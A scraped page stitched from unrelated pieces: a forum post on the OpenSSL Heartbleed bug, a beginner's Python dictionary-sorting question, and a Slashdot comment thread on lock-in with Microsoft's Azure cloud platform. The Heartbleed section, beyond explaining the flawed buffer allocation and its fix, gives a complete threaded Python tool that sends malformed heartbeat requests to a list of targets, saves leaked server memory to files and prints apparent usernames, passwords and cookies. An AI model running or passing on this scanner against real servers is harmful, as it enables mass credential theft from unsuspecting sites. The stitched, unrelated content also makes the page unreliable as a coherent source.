So in short the Heartbeat Protocol is simple and has a request and response module.
heartbeat_request(1),
heartbeat_response(2),
The following is the structure of a HB protocol.
The following is heartbeat protocol .
Code:
struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[HeartbeatMessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage;
So the entire heartbeat protocol is an addon for openssl . This following is the structure for a TLS packet with HB addon.
Code:
const unsigned char good_data_2[] = { // TLS record 0x16, // Content Type: Handshake 0x03, 0x01, // Version: TLS 1.0 0x00, 0x6c, // Length (use for bounds checking) // Handshake 0x01, // Handshake Type: Client Hello 0x00, 0x00, 0x68, // Length (use for bounds checking) 0x03, 0x03, // Version: TLS 1.2 // Random (32 bytes fixed length) 0xb6, 0xb2, 0x6a, 0xfb, 0x55, 0x5e, 0x03, 0xd5, 0x65, 0xa3, 0x6a, 0xf0, 0x5e, 0xa5, 0x43, 0x02, 0x93, 0xb9, 0x59, 0xa7, 0x54, 0xc3, 0xdd, 0x78, 0x57, 0x58, 0x34, 0xc5, 0x82, 0xfd, 0x53, 0xd1, 0x00, // Session ID Length (skip past this much) 0x00, 0x04, // Cipher Suites Length (skip past this much) 0x00, 0x01, // NULL-MD5 0x00, 0xff, // RENEGOTIATION INFO SCSV 0x01, // Compression Methods Length (skip past this much) 0x00, // NULL 0x00, 0x3b, // Extensions Length (use for bounds checking) // Extension 0x00, 0x00, // Extension Type: Server Name (check extension type) 0x00, 0x0e, // Length (use for bounds checking) 0x00, 0x0c, // Server Name Indication Length 0x00, // Server Name Type: host_name (check server name type) 0x00, 0x09, // Length (length of your data) // "localhost" (data your after) 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74, // Extension 0x00, 0x0d, // Extension Type: Signature Algorithms (check extension type) 0x00, 0x20, // Length (skip past since this is the wrong extension) // Data 0x00, 0x1e, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03, 0x05, 0x01, 0x05, 0x02, 0x05, 0x03, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0x03, 0x01, 0x03, 0x02, 0x03, 0x03, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03, // Extension 0x00, 0x0f, // Extension Type: Heart Beat (check extension type) 0x00, 0x01, // Length (skip past since this is the wrong extension) 0x01 // Mode: Peer allows to send requests };
The bugg code was an insecure malloc
Code:
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
The total length of a HeartbeatMessage does NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. Here we are only able to leak 64 kb of memory and that could easily have usernames/password etc. Even though openssllib has loaded the server secret keys somewhere in memory it very unlikely to access that using this bug due the the heap allocations.
Constant HB request could be made to the server leaking (random memory) any amount of data from the server .
The fix to this bug was to simply bound check the payload + padding length to not exceed 16 bytes .
Code:
unsigned int write_length = 1 /* heartbeat type */ + + 2 /* heartbeat length */ + + payload + padding;
As well as to not allow the HB length to exceed the max length.
Code:
unsigned int write_length = 1 /* heartbeat type */ + + 2 /* heartbeat length */ + + payload + padding; + if (write_length > SSL3_RT_MAX_PLAIN_LENGTH) + return 0;
Exploitation:
I have created a Mass Auditing tool. So that you can give in a huge range of targets as a list and the tool would find important informations for you. Give it a list of targets and it would detect the vulnerability and list out if any username password is found.
Code:
import socket, ssl, pprint import Queue import threading,time,sys,select,struct,urllib,time,re,os ''' 16 03 02 00 31 # TLS Header 01 00 00 2d # Handshake header 03 02 # ClientHello field: version number (TLS 1.1) 50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 \ 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 # ClientHello field: random 00 # ClientHello field: session id 00 04 # ClientHello field: cipher suite length 00 33 c0 11 # ClientHello field: cipher suite(s) 01 # ClientHello field: compression support, length 00 # ClientHello field: compression support, no compression (0) 00 00 # ClientHello field: extension length (0) ''' hello_packet = "16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex') hb_packet = "1803020003014000".decode('hex') def password_parse(the_response): the_response_nl= the_response.split(' ') #Interesting Paramaters found: for each_item in the_response_nl: if "=" in each_item or "password" in each_item: print each_item def recv_timeout(the_socket,timeout=2): #make socket non blocking the_socket.setblocking(0) #total data partwise in an array total_data=[]; data=''; #beginning time begin=time.time() while 1: if total_data and time.time()-begin > timeout: break elif time.time()-begin > timeout*2: break try: data = the_socket.recv(8192) if data: total_data.append(data) #change the beginning time for measurement begin=time.time() else: #sleep for sometime to indicate a gap time.sleep(0.1) except: pass return ''.join(total_data) def tls(target_addr): try: server_port =443 target_addr = target_addr.strip() if ":" in target_addr: server_port = target_addr.split(":")[1] target_addr = target_addr.split(":")[0] client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() print >>sys.stderr, '\n[+]Scanning server %s' % target_addr , "\n" print "##############################################################" sys.stdout.flush() client_socket .connect((target_addr, int(server_port))) #'Sending Hello request...' client_socket.send(hello_packet) recv_timeout(client_socket,3) print 'Sending heartbeat request...' client_socket.send(hb_packet) data = recv_timeout(client_socket,3) if len(data) > 7 : print "[-] ",target_addr,' Vulnerable Server ...\n' #print data if os.path.exists(target_addr+".txt"): file_write = open(target_addr+".txt", 'a+') else: file_write = file(target_addr+".txt", "w") file_write.write(data) else : print "[-] ",target_addr,' Not Vulnerable ...' except Exception as e: print e,target_addr,server_port class BinaryGrab(threading.Thread): """Threaded Url Grab""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: url = self.queue.get() tls(url) #Scan targets here #signals to queue job is done self.queue.task_done() start = time.time() def manyurls(server_addr): querange = len(server_addr) queue = Queue.Queue() #spawn a pool of threads, and pass them queue instance for i in range(int(querange)): t = BinaryGrab(queue) t.setDaemon(True) t.start() #populate queue with data for target in server_addr: queue.put(target) #wait on the queue until everything has been processed queue.join() if __name__ == "__main__": # Kepp all ur targets in scan.txt in the same folder. server_addr = [] read_f = open("scan.txt", "r") server_addr = read_f.readlines() #or provide names here #server_addr = ['yahoo.com'] manyurls(server_addr)
Leaked UserName password Cookie files would be stored in the local folder with target name.
Regards.
Reference:
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Hey guys, I'm new here so hi to everyone! Just got your self's another python newb :/ sorry..
Anyways, any help with the following will be much appreciated!
I got this code:
en_es = {'one':'uno',
'two':'dos',
'three':'tres',
'four':'quatro',
'five':'cinco}'
def write_diccionary(d):
temp = []
k = d.keys()
k = list(k)
temp = k[1]
k[1] = k[4]
k[4] = temp
for i in k:
print(i,':',d[i])
The idea is to take the dictionary above, and order it. The code is fixed for a single situation where I know the positions of the (key,value) pairs. However I would like generalize this. I made this attempt:
def write_diccionary_2(d):
for k in sorted(d): print(k,':', d[k])
however the output is:
>>> write_diccionary_2(en_es)
five : cinco
two : dos
four : cuatro
three : tres
one : uno
Can someone please shed some light on this?
THANKS! | http://forums.devshed.com/python-programming/934868-diccionary-last-post.html | CC-MAIN-2017-26 | refinedweb | 148 | 72.56 |
Creating Facebook App environment 1. Go to Facebook Developers access the Moonlight Facebook apps account login as Chloe Bauer
2. Left sidebar is showing all the current Moonlight apps To create a new application – go to Create New App
3. Add the application name, namespace (optional) and click Continue
4. On the Basic info tab – the namespace is not necessary to input, but if you create one you can use it as an alternative for the App ID.E.g. would be domain should always be the main hosting domain of the app files.For this application we are using Moonlight hosting, so the hosting ismoonlighthk.com
Canvas Width: The canvas width is better to leave to Fluid. This means that Facebook will adjust width according to your app width.However, the max Facebook tab width is 810px so make sure your html app (wrapper)is not wider than 810px . Canvas Height: You can leave this Fluid or if you know your app height you can insert theheight in pixels. If your html app height exceeds the pixels determined on this section. You will see unwanted scrollbars on your app canvas. It’s also possible to set height on the app files: See more details here: here : 5. Add the canvas URL and Secure Canvas URL to the App on onFacebook tab (These should be the URLs where application files exist on the server)For Secure URL, it’s the same location but remember to add the HTTPS.
Add the Facebook tab URL and Secure URL, use the same URLs as on the Facebook Apps and click Save Changes You can upload a default Page Tab image (111x74px) that will show upon the account tab where the app is installed.
7. Once you have finished adding all the details and “Saved Changes”, you can see the application at: App ID/. But most often you need to add the application to a Facebook profile. In order to do this you will need to go this address{YOUR_APP_ID}&redirect_uri={YOUR_URL} Bottom point, you now have to go to this address:{YOUR_APP_ID}&redirect_uri={YOUR_URL} e.g. {YOUR_APP_ID} -> should be replaced with the APP ID generated by Facebook, you can find it for each app at developers.facebook.com -> apps {YOUR_URL} -> should be replaced with the address where your tab is hosted
After executing the AppID and AppURL, you will see a list of the Facebook pages that you have admin access. Simply choose the Facebook page from the dropdown that you want to add your application, and click“Add Page Tab” button To see you application on the Facebook profile, just navigate to the profile page and find the profiles tabs! | https://www.slideserve.com/bijan/creating-facebook-app-environment-powerpoint-ppt-presentation | CC-MAIN-2021-21 | refinedweb | 448 | 68.6 |
On Thu, Sep 23, 2010 at 01:11:36PM -0700, Andrew Morton wrote:> On Thu, 23 Sep 2010 15:48:01 +0200> Michael Holzheu <holzheu@linux.vnet.ibm.com> wrote:> > > Currently tools like "top" gather the task information by reading procfs> > files. This has several disadvantages:> > <snip>> > 3. A new tool "ptop" (precise top) that uses the libraries> > Talk to me about namespaces, please. A lot of the new code involves> PIDs, but PIDs are not system-wide unique. A PID is relative to a PID> namespace. Does everything Just Work? When userspace sends a PID to> the kernel, that PID is assumed to be within the sending process's PID> namespace? If so, then please spell it all out in the changelogs. If> not then that is a problem!Good point.The pid ought to be valid in the _receiving_ task's pid namespace. Thatcan be difficult or impossible if we're talking about netlink broadcasts.In this regard process events connector is an example of what not to do.> If I can only observe processes in my PID namespace then is that a> problem? Should I be allowed to observe another PID namespace's> processes? I assume so, because I might be root. If so, how is that> to be done?I don't think even "root" can see/use pids outside its namespace (withoutEric's setns patches). If you want to see all the tasks then rely on rootbeing able to do stuff in the initial pid namespace. If you really wantto use/know pids in the child pid namespaces then setns is also anice solution.Cheers, -Matt Helsley | http://lkml.org/lkml/2010/9/23/166 | CC-MAIN-2015-48 | refinedweb | 272 | 76.32 |
Windows Azure Offers Developers Iron-Clad Lock-in
Soulskill posted more than 5 years ago | from the keep-looking-for-that-silver-lining dept.
? (4, Insightful)
Jrabbit05 (943335) | more than 5 years ago | (#25590511)
I'll host MY applications (4, Funny)
Philip K Dickhead (906971) | more than 5 years ago | (#25590589)
in a cloud of dreams by Richard Stallman!
Re:Vuze? (1)
CSMatt (1175471) | more than 5 years ago | (#25591007)
I do often wonder whether Vuse, Inc. can sue Microsoft for trademark infringement because of the similarities between Azure and Azureus.
Re:Vuze? (1)
skaet (841938) | more than 5 years ago | (#25591361)
For what exactly? The full product name is "Windows Azure" compared to "Azureus" (which is a made up word). I'll admit I noticed the similarity myself but I'd hardly say either of these 2 programs could be mistaken for the other.
Re:Vuze? (3, Insightful)
sweet_petunias_full_ (1091547) | more than 5 years ago | (#25591531)? (5, Informative)
Attila Dimedici (1036002) | more than 5 years ago | (#25591585):Vuze? (1)
sweet_petunias_full_ (1091547) | more than 5 years ago | (#25591737) remember when Word started taking marketshare from the previously entrenched Wordperfect? That too was OK back then.
What chance do most of us have of calling a product Excelperfect? The fact is, they can do it but almost none of us can.
Re:Vuze? (1)
johanatan (1159309) | more than 5 years ago | (#25591997)
And then there's area of applicability (1)
Animaether (411575) | more than 5 years ago | (#25592007):Vuze? (1)
CastrTroy (595695) | more than 5 years ago | (#25591615)
Re:Vuze? (0)
Anonymous Coward | more than 5 years ago | (#25591833)
and that in the trademark arena means exactly what ? nothing. the idiocy and lack of understanding of basic legal principles on
/. amazes me.
Re:Vuze? (1)
johanatan (1159309) | more than 5 years ago | (#25592029)
Azureus is not a made up word (1)
oldmacdonald (80995) | more than 5 years ago | (#25591713)
It's not made up, it's a kind of frog: [wikipedia.org]
The frog happens to be azure in color and is the azureus/vuze logo.
Re:Vuze? (1)
Deanalator (806515) | more than 5 years ago | (#25591485)
No more than anyone would be able to sue for the re-use of the word "midori". Midori is green, azure is blue, they are colors and no one is going to sue anyone.
Re:Vuze? (2, Interesting)
Orion Blastar (457579) | more than 5 years ago | (#25591775)? (4, Insightful)
rtb61 (674572) | more than 5 years ago | (#25592343).
Bill Gates pipe dream... (0, Offtopic)
unclekyky (1226026) | more than 5 years ago | (#25590513)
Like iPhone (1, Troll)
Toe, The (545098) | more than 5 years ago | (#25590517)
Re:Like iPhone (1)
alexborges (313924) | more than 5 years ago | (#25590585)
Theyll sure try.
And we will sure grill them.
And it will go nowhere.
Custmers are running like crazy away from MS. AS very well they should.
Re:Like iPhone (-1, Troll)
larry bagina (561269) | more than 5 years ago | (#25590619)
Re:Like iPhone (5, Informative)
zmjjmz (1264856) | more than 5 years ago | (#25590743)
Re:Like iPhone (2, Interesting)
lysergic.acid (845423) | more than 5 years ago | (#25590961)
for starters, Android is an open platform. Android dev kits are completely free (no developer program membership fee). and Google's distribution agreement, which is far less draconian, only applies if you want to distribute your application through Google. but developers are free to distribute their application themselves.
Re:Like iPhone (2, Interesting)
postbigbang (761081) | more than 5 years ago | (#25591023) an open source concept that I personally like to live with. MSDN enforces a discipline that takes a different kind of investment with a different kind of developer and a different potential market.
There are lots of choices in this world; I'm not choosing this one for these and other reasons.
Re:Like iPhone (1, Flamebait)
eltaco (1311561) | more than 5 years ago | (#25591591)
oh and just to generally chime in; I absolutely despise the general idea, that programs and data is served and saved subject to some corps choosing.
Let's consider where this is going and where it's come from: software companies, as DRM (p.ex. of games) demonstrates in an acute example, want us to abide by their rules (latest EA forum-foul-up a great example - next to all that DRM BS). be it games, video, audio, software - they want to dictate the terms to us. now, what do I do as a major software dev, really fucking keen on money, who knows that cracking software can't so easily be stopped? I force users to be inspected by my watchful eye. I'd start off simple.. maybe have some software check for legitimate installations. then, I'd convince everyone, that they can save energy bills and general investment costs by shelling out for a UMPC. upon that, I'd offer my lightweight software that doesn't need an install on some 4gig SSD. the next step? what next step? it's all about details now! we feed them OUR software, only once they've bought it. they may use it, according to our TOS, which, in time, will include all kinds of irrational and draconian crap, like "your data is ours and we can snoop at will", or "we're cooperating with anything the feds chuck at us - actually, tell ya what - we'll just hand over your data now without being asked!".
actually, this isn't the worst part. the worst part, is that local PCs can (and supposing enough support, will) become useless without an uplink(although I HIGHLY doubt OSS will die of this.). I dunno - maybe I'm crying for the path my youth took and the path youths won't take again under these circumstances - but only being able to fuck around with a system when it's connected to the net and otherwise having a pretty useless box is an appalling situation.
fuck it - I'm savvy enough. personally, I don't care. but let's face facts here. year of the loonix has come and gone 20 times (although I'm hopeful for this year with UMPCs
windows already makes it "hard" enough to understand the way it works. and now we add to thinking, that a computer works the way windows dictates? it's wrong.. IT'S WROOONG!
meh, I'm done for now. alcohol needs my attention.
Re:Like iPhone (1)
postbigbang (761081) | more than 5 years ago | (#25591663) apps alongside them where needed.
I get to see source to see how well done things are in one case, and not likely in the other, where I'm dependent on other organizations sense of property. The hapless, fools, and civilians have no clue about how to judge these things and should NEVER NEED TO. Quality is a responsibility. Some take that responsibility seriously and others don't for whatever reasons.
The denominator of quality in a lot of F/OSS is great. Some simply is not. The other portions of a product have to include reasonable docs/help/howtos for the masses, unless the target is for the advanced user, even coder. Half-assed code is still just that.
Linux-the-kernel is very well done and is professional, but is one major important component of a working service instance. The rest of those components are equally important from an availability perspective. Otherwise, I get a call: my (fill in this blank) isn't working. My personal decision then becomes: is this a charity case, or do I make money doing it? We go from there.
Teaching war can be a defense. There will be no peace until mothers tell their sons to abandon the wars of their fathers. All of them.
Re:Like iPhone (1)
eltaco (1311561) | more than 5 years ago | (#25592049)
within the next few years & decades, there will be nothing as important as the internet (and/or technologies that build upon) and the communication possibilities it offers.
and that is exactly why I am pissed off, that people always learn less and less how technology actually works.
when I was 9 or so, I knew how the radio & tv worked.actually, I even knew the basics of computers.
only as soon as you understand how a technology works and what it actually does, can you reap it's full benefits.
the internet and even using a computer in general requires that you can write and read. tv and radio do not have this requirement.
Re:Like iPhone (1)
postbigbang (761081) | more than 5 years ago | (#25592203) and hackers often have tons of brainpower. That doesn't mean that everyone else does at all. Others have brainpower that's manifested in different disciplines, the arts, even in body-motive and they aren't going to make good technologists.
It's hubris to believe that people think like 'we' do. It's a HUGE mistake. Know them, and you'll understand. I like technology, but fuck technology. I have work to do, and if technology helps, so much the better. That I'm very good at it and can make a living at it is meaningless, if I'm irresponsible towards those who can't do what I do. Or don't want to.
Our paths of personal development are paralleled. I built crappy little truth table matrices on coffee cans before I hit puberty. BFD. I had a TV repair license at 16, ham at 17, FCC 1st Phone at 19, blah blah blah. Changes nothing. One of my best friends is a concert violinist and over the years has memorized untold number of works and can play them perfect from memory, beautifully. His wife can't play a note, but she can tell you very accurately how much an oriental rug is worth. The thread here is that both of them use their computer systems for some pretty sophisticated uses. And when they break, I get the call after they've exhausted their patience. That's ok. I love to listen to them, and in turn they watch in awe as I scrape their registry clean.
They have no interest in what a Registry is, and shouldn't need to know. On Microsoft's part, the Registry is an unbelievably bad idea that only recently has gotten protection from root object manipulation. They don't know the difference between root and a live hand grenade, and shouldn't have to.
Re:Like iPhone (3, Insightful)
Pollardito (781263) | more than 5 years ago | (#25590853)
The author says at the end that this same situation exists with every other cloud computing host though, and that's a part of the article that should have made it into the Slashdot summary
No serious enterprise customers will adopt this (5, Insightful)
morgan_greywolf (835522) | more than 5 years ago | (#25590525)
Constantly locked in to a upgrade path? No, way. No way will anyone go for this for anything real.
Re:No serious enterprise customers will adopt this (4, Insightful)
peragrin (659227) | more than 5 years ago | (#25590871)
never underestimate human stupidity. after all bush got elected twice.
Re:No serious enterprise customers will adopt this (2, Interesting)
morgan_greywolf (835522) | more than 5 years ago | (#25590897)
"Two things are infinite: the universe and human stupidity; and I'm not sure about the universe." -- Einstein
Yeah, okay, maybe you're right.
;)
Re:No serious enterprise customers will adopt this (1, Flamebait)
owlnation (858981) | more than 5 years ago | (#25590983)
Well... once. Fox Network effectively elected him the first time, despite probably losing the actual vote. However, your point is still very valid.
Re:No serious enterprise customers will adopt this (-1, Flamebait)
Anonymous Coward | more than 5 years ago | (#25591715)
Actual vote is irrelevant.
Have faith. (1, Troll)
twitter (104583) | more than 5 years ago | (#25591469)
With Vista adoption rates hovering under 10%, aka about as many people who think the moon missions were fake [slashdot.org], you can rest assured that human stupidity is limited. Even cockroaches can avoid being burnt twice.
Re:Have faith. (1, Interesting)
Anonymous Coward | more than 5 years ago | (#25591753) [hitslink.com]
Sorry to disappoint you.
Linux seems to be doing great though. In about five years it should totally surpass Windows 2000.
Re:No serious enterprise customers will adopt this (0, Troll)
recharged95 (782975) | more than 5 years ago | (#25591135)
.
I mean I was running OSX 10.4 and spent more than $200 to get a iphone app to the store to make what? $10 in a week? Or forcing me to upgrade to all the new DRM features of Itunes 8 so I can run specific videos (I may or maynot have bought yet)?
Yes, MS is thinking differently, like Apple.
Re:No serious enterprise customers will adopt this (1)
nurb432 (527695) | more than 5 years ago | (#25591231)
I hope you were being sarcastic, as many companies do that today with their enterprise agreements.
Re:No serious enterprise customers will adopt this (0)
Anonymous Coward | more than 5 years ago | (#25591559)
Re:No serious enterprise customers will adopt this (1)
morgan_greywolf (835522) | more than 5 years ago | (#25591709)
By whom? Catbert?
Aaaaaand (0)
Anonymous Coward | more than 5 years ago | (#25590527)
In other news, scientists discover that pure water does not contain strawberries.
Microsoft (5, Funny)
Anonymous Coward | more than 5 years ago | (#25590529)
In a world with new wars, pandemics, food crises, and economic meltdowns, it is good to know that the morals of one company have stayed the same. Microsoft is our rock in these crazy times.
Re:Microsoft (1)
Orion Blastar (457579) | more than 5 years ago | (#25591757) Hippie company, you then know that the Apocalypse will soon start and the four horsemen are on their way.
:)
Don't worry, Miguel will fix it (5, Funny)
Wesley Felter (138342) | more than 5 years ago | (#25590599)
I'm sure he's already started on an open-source Mono-based Azure clone.
Re:Don't worry, Miguel will fix it (4, Interesting)
Rayban (13436) | more than 5 years ago | (#25590793)
We won't see v1.0 until Microsoft releases Azure v2.0, though.
Re:Don't worry, Miguel will fix it (1)
billcopc (196330) | more than 5 years ago | (#25591171)
Ooooh burrrrn!
So that explains.. (3, Funny)
nurb432 (527695) | more than 5 years ago | (#25590667)
Those dark clouds i saw on the way home.
Re:So that explains.. (4, Interesting)
Plekto (1018050) | more than 5 years ago | (#25590763))
Corral and flog? (1)
davidsyes (765062) | more than 5 years ago | (#25590681)
Just another version of embrace and extinguish...
"as ISVs that can't afford to rework code to keep up with Microsoft's latest platform will begin dropping services, and customers will have little choice but to accept the new terms of service their vendors send along."
I think what'll happen is the vendors that don't keep up will, as stated, fall by the wayside. BUT, i think mshaft is looking to be MORE like Apple in control of the not only the software, but the hardware as well. This might be mshaft's underhanded way of trying to "disincentivize" hardware makers from making hardware that is friendly or explorable to Linux.
Re:Corral and flog? FUDRUCKER! (1)
Jeremiah Cornelius (137) | more than 5 years ago | (#25590965)-host? Pretty easy. Just watch your cost to deliver service go up.
Re:Corral and flog? FUDRUCKER! (1)
davidsyes (765062) | more than 5 years ago | (#25591041)
Too bad MOST of the world sucks off ms' tit, when like Tang, Hi-C, KoolAid, Gatorade and others there are more drinks to be had. There seriously ought to be a bust-up of ms' power. But, if they go in the direction of facilitating nations' governments' spying on their respective (and opponents' and friends'citizens/agents/operatives), then that hegemonic beast will NEVER be put down, slain or at least crippled as it ought to be...
It's too bad... (1)
symbolset (646467) | more than 5 years ago | (#25591161)
That most enterprises can so reliably count on some essential in-house applications breaking on the second tuesday of every month that they have to opt out of automatic patching and remain vulnerable until they can rewrite their apps around the stuff that breaks. Every month. The exploits now so swiftly follow the patches that customers are vulnerable to a broadly circulating exploit for a significant period of time each month. Every year that period gets longer. Eventually it may be unacceptably long to be considered a viable platform for serious work.
Re:Corral and flog? FUDRUCKER! (2, Insightful)
billcopc (196330) | more than 5 years ago | (#25591209).
Frameworks? (3, Insightful)
mrsteveman1 (1010381) | more than 5 years ago | (#25590889)
So why is there any reason to believe MS won't provide backward compatibility on their cloud stuff? That's what they do on the desktop....
No i didn't RTFA, its a tradition i didn't want to break with.
Re:Frameworks? (1)
DiegoBravo (324012) | more than 5 years ago | (#25592061)
That's the main point in the article: since MS (as others) is always compelled to evolve to remain competitive, they will eventually force you to upgrade the applications: it is not always easy (or profitable) to maintain backward compatibility.
It is like an enterprise where the sysadmin has the full power to eventually upgrade the OS in all the servers, maybe with something *theoretically* back-compatible, but you know what that means...
Contrast with traditional non-cloud, where you may eventually find a DOS-box if that is what your application does require, and for whatever reason (there are many) you can't upgrade/rewrite it.
so what? (4, Insightful)
thermian (1267986) | more than 5 years ago | (#25590891):so what? (1)
cyber-vandal (148830) | more than 5 years ago | (#25590911)
And quite often even when stuff doesn't work.
Re:so what? (1)
CSMatt (1175471) | more than 5 years ago | (#25591075)
What marketing? Microsoft didn't have to market until recently because everyone already knew about their products, and most of them were already customers.
Re:so what? (4, Insightful)
thermian (1267986) | more than 5 years ago | (#25591117)? (4, Insightful)
chebucto (992517) | more than 5 years ago | (#25591215)? (0)
Anonymous Coward | more than 5 years ago | (#25591491)
Re:so what? (4, Insightful)
grahamd0 (1129971) | more than 5 years ago | (#25591207):so what? (1)
billcopc (196330) | more than 5 years ago | (#25591223) (5, Interesting)
iznogud (162711) | more than 5 years ago | (#25590915)
... as opposed to, say, Google App Engine.
Re:Windows Azure Offers Developers Iron-Clad Lock- (3, Interesting)
SanityInAnarchy (655584) | more than 5 years ago | (#25591203)
...
a whole lot if FUD (3, Insightful)
txoof (553270) | more than 5 years ago | (#25590929)
Well... (4, Insightful)
jd (1658) | more than 5 years ago | (#25590955)... (5, Insightful)
fermion (181285) | more than 5 years ago | (#25591181).
Maintenance is 80% of the cost in a program's life (0)
Anonymous Coward | more than 5 years ago | (#25592535)
And all highly skilled, talented people are high strung and annoying. Especially annoying is their ability to see right through the lies.
A race horse will kill you too, if you don't watch out, but kiddie ponies don't win races.
I can't stand my salesmen, frickin' arrogant, boastful, testosterone charged egomaniacs, but I know what they need, and they know what I want, and they make me a pile of money. Now get the fuck out there and sell something!
But do I want some docile, house-broken sheep? No way!
Talent is talent. Learn to deal with egos. There are stars and there are dogs. We are not all equal. The best can do 10 times what the average can do, for nearly the same pay! You send Captain Kirk to go where no man has gone before, not some pussy whipped momma's boy.
Poodles are cute, but do you really want them guarding your meth lab? No! You want Bikers, German Shepherds and a belt feed fifty. Business is War! You should be a little scared when the Special Forces are in the house.
If you want a friend, buy a dog. If you want to be worshiped, start a cult. If you want to get laid, in 50 different ways, in 50 different days, get a guitar and learn how to play. If you want some satisfaction, you need to take some action. The race goes to the swift and the strong. Take no prisoners. Full speed ahead! Dam the torpedoes!
Talent never has been, and never will be easy to deal with. Tell them what you want, give them what they need, and stop micro-managing them. Cover their ass, and they will cover yours.
Develop a thick skin. And get the fuck out of their way. When they talk to you, listen. Be thankful they talk to you. When they stop talking, they are busy looking for another job. Talent can always find another job.
If they are lacking some political skills and say something harsh, or are just a little too blunt, just let it roll over. They will quickly realize their mistake. Give them a legitimate answer. And once you handle a few of their harsh barbs, and don't run away crying, they will begin to trust you. Climb the informal power structure.
Re:Well... (1)
billcopc (196330) | more than 5 years ago | (#25591245):Well... (3, Interesting)
Anonymous Coward | more than 5 years ago | (#25591665) far ahead - they'll take the easy way which Microsoft puts front and center in their documentation and certification classes. Low level programming may not even be _possible_ in Azure; you may only get the high level "easy" APIs which prevent abstraction for portability. Then your only option is to write emulation libraries for other platforms which can run the same designs as Azure, assuming that patents and terms of service agreements don't disallow it.
Re:Well... (0)
Anonymous Coward | more than 5 years ago | (#25591811).
(Posting AC because I've moderated in this thread.)
Yes, thank you, that's exactly right. Every so often on Slashdot, an article or discussion will be about the dismal state of computer science education. Really good comp sci instructors (and I've been lucky enough to have a good number of them) will teach based on platform-neutral code focused on abstract computational processes. Sadly, many others just teach programming like a trade skill—just use your expensive IDE to get the program working on the Operating System That Everyone Has and forget the abstract concepts if they're harder than that.
That's the very reason we abandoned Windows (3, Interesting)
HangingChad (677530) | more than 5 years ago | (#25590973).
Re:That's the very reason we abandoned Windows (1)
timmarhy (659436) | more than 5 years ago | (#25591089)
Re:That's the very reason we abandoned Windows (0, Redundant)
HangingChad (677530) | more than 5 years ago | (#25591265)
We built an application framework with a reporting module in it. Web service support was part of the specs from the beginning, it would be easy enough to add reporting requirements to that if we had a reason to do it. I don't understand the problem. You're locked into MS and SQL Server by SQL Reports? Or Crystal Reports? Or are you talking about exporting to desktop apps in Access or Excel? Neither one of those run on Ubuntu, so we don't have to worry about supporting them internally. We can spool off data to partners with web services, web page or csv, whatever they want. If they want some fancy report with charts and graphs in a portable format like a pdf file...we could figure out if someone wants to pay for the time. Otherwise we'll give them the data and they can write their own damn reports.
You'd be amazed how often I hear that. How do you do this or that? Then list off some...thing...MS wraps into their products with some cartoon wizard that some hack in accounting thinks makes him a haX04. How are you going to support that? Well, we won't. I'm not going to be locked into MSFT's way of doing things by bullshit like that. If it's that important to your company to support every bundled wizard that comes with MS, then shell out the money and shut your pie hole. Otherwise, we'll figure out a way to get the job far more efficiently for a fraction of the cost and while you're still at the office trying to figure out how to change the labels on your graph, we'll be at the bar having a couple after work and trying to flirt with the waitress who also dances at one of the local gentlemen's clubs on the weekend.
See ya Monday.
Re:That's the very reason we abandoned Windows (1)
timmarhy (659436) | more than 5 years ago | (#25591481)
that sir, is why MS rule the business world. while your staying back reinventing the wheel with your custom web framework, i've already completed those reports for my boss and subscribed him to them so he gets them automaticly.
custom software is always more expensive than the MS alternative as well. just as you said "as long as someone wants to pay for the time".
Re:That's the very reason we abandoned Windows (-1, Offtopic)
Anonymous Coward | more than 5 years ago | (#25591687)
Wow, a troll circlejerk. Get a room you two
If you really need < package > (2, Informative)
symbolset (646467) | more than 5 years ago | (#25592307) (1)
symbolset (646467) | more than 5 years ago | (#25592337)
Apparently pentaho [sourceforge.net] is even more slick.
Hey, that's an interesting package. I wasn't interested in reporting before, but this looks nice. Thanks for sparking my interest in the field.
Re:That's the very reason we abandoned Windows (0, Redundant)
cdrguru (88047) | more than 5 years ago | (#25591489).
Us, we get to work in a different (perhaps more familiar) world. We do not supply the application that completely rules how people do their jobs. Instead, it is a much smaller application that they just use in conjunction with 10-20 other applications. Now things being as they are, these other applications require Windows.
Sure, it would be great fun to be able to dictate to customers what platform they should run our applications on. But they are the ones with the money and they get to choose. If our stuff doesn't work they way they want it to, they will choose a different vendor that does in fact supply Windows applications.
And no, I haven't seen much in the way of lock in, other than customers needing things to work together. I have seen lots of development organizations suffering greatly from trying to follow Microsoft's bleeding edge. If you have tried to follow COM, ATL, DCOM, DCOM+,
.Net (3.5 generations of it) and whatever else is coming along you have probably been suffering greatly. If every new language, framework or tool is something you have to try out in a product you have been suffering. There is another way to get along with Microsoft other than following their fads. Because for the most part all they are is fads which come and go.
Re:That's the very reason we abandoned Windows (0)
Anonymous Coward | more than 5 years ago | (#25592517).
That does not seem to stop vendors from attempting to sell me crap with "just install it on a Windows server" or "just use IE". They usually get a nice warm "f*ck off", because my entire team runs Linux or MacOS X on the desk and all of our server applications run on Linux or Solaris. Hell, i've even had one vendor lie on an tender response by saying they had Solaris support for their software and it worked great in Firefox. Turns out, their server side only runs on Windows and requires IE6. It's a real pity that in my industry we all talk and a single bad experience with one customer can cause a whole world of pain for a vendor when trying to sell their crap through out the rest of the country.
Re:That's the very reason we abandoned Windows (1)
johanatan (1159309) | more than 5 years ago | (#25592101)
Ms is better at legacy support than anyone (5, Insightful)
timmarhy (659436) | more than 5 years ago | (#25591031)
This guy has just blown out a load of basless speculation and your all buying into it (any giving him page hits).
Re:Ms is better at legacy support than anyone (1, Insightful)
Anonymous Coward | more than 5 years ago | (#25591507)
Dude, did you just try to defend Microsoft on Slashdot? Tilting at windmills, but I applaud your effort.
I was going to post to ask people for examples of APIs that broke from
